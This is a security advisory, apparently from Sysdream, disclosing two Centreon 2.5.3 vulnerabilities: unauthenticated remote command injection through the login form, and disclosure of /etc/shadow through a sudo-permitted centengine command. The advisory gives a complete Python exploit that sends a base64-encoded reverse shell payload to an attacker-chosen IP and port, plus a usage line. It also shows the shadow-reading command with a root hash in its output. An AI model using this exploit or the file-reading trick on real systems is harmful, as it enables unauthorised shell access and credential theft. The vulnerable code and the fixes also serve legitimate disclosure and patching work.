Centreon 2.5.3 Code Execution

Unauthenticated Remote Command Execution in Centreon Web Interface
==================================================================


Description
===========

Centreon is a popular monitoring solution.

A critical vulnerability has been found in the Centreon logging class
allowing remote users to execute arbitrary commands.


SQL injection leading to RCE
============================

Centreon logs SQL database errors in a log file using the "echo" system
command and the exec() PHP function. On the authentification class,
Centreon use htmlentities with the ENT_QUOTES options to filter SQL
entities.
However, Centreon doesn't filter the SQL escape character "\" and it is
possible to generate an SQL Error.
Because of the use of the "echo" system command with the PHP exec()
function, and because of the lack of sanitization, it is possible to
inject arbitrary system commands.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-78

----------------
Proof of Concept
----------------

TCP Reverse Shell using python.

#!/usr/bin/env python
import requests
import argparse

def shell(target, reverseip, reverseport):
payload = 'import socket as a,subprocess as b,os as
c;s=a.socket(2,1);s.connect(("%s",%d));d=s.fileno();c.dup2(d,0);c.dup2(d,1);c.dup2(d,2);p=b.call(["sh"]);'
% (reverseip,reverseport)
print "[~] Starting reverseshell : %s - port : %d" % (reverseip,
reverseport)
req = requests.post(target, data={"useralias": "$(echo %s |
base64 -d | python)\\" % payload.encode("base64").replace("\n",""),
"password": "foo"})
print "[+] DEAD !"

if __name__ == "__main__":
print "[~] Centreon Unauthentificated RCE - Nicolas Chatelain
<n.chatelain@sysdream.com>"
parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True)
parser.add_argument("--reverseip", required=True)
parser.add_argument("--reverseport", required=True, type=int)
args = parser.parse_args()
shell(args.target, args.reverseip, args.reverseport)

Shell :

nightlydev@nworkstation ~/Lab/Centreon $ python reverseshell.py
--target=http://172.16.138.137/centreon/index.php
--reverseip=172.16.138.1 --reverseport 8888

---------------
Vulnerable code
---------------

The vulnerable code is located in class/centreonLog.class.php, line 82
and line 154:


/*
* print Error in log file.
*/
exec("echo \"".$string."\" >> ".$this->errorType[$id]);

In class/centreonAuth.class.php, line 227:

$DBRESULT = $this->pearDB->query("SELECT * FROM `contact` WHERE
`contact_alias` = '" . htmlentities($username, ENT_QUOTES, "UTF-8") . "'
AND `contact_activate` = '1' AND `contact_register` = '1' LIMIT 1");


--------
Solution
--------

Update to the Centreon 2.5.4


Possible root password disclosure in centengine (Centreon Entreprise Server)
============================================================================

In some configurations, when centengine can run as root (with sudo).
It's possible to read some file content.

**Access Vector**: local

**Security Risk**: high

**Vulnerability**: CWE-209

----------------
Proof of Concept
----------------

$ sudo /usr/sbin/centengine -v /etc/shadow
[1416391088] reading main config file
[1416391088] error while processing a config file: [/etc/shadow:1]
bad variable name:
'root:$6$3mvvEHQM3p3afuh4$DZ377daOy.8bn42t7ur82/Geplvsj90J7cs1xsgAbRZ0JDZ8KdB5CcQ0ucF5dwKpnBYLon1XBqjJPqpm6Zr5R0:16392:0:99999:7:::'
[1416391088]

---------------
Vulnerable code
---------------

In Centreon Entreprise Server (CES) : /etc/sudoers.d/centreon

CENTREON ALL = NOPASSWD: /usr/sbin/centengine -v *

--------
Solution
--------

Do not allow centengine to be run as root or do not disclose the line
that caused the error.
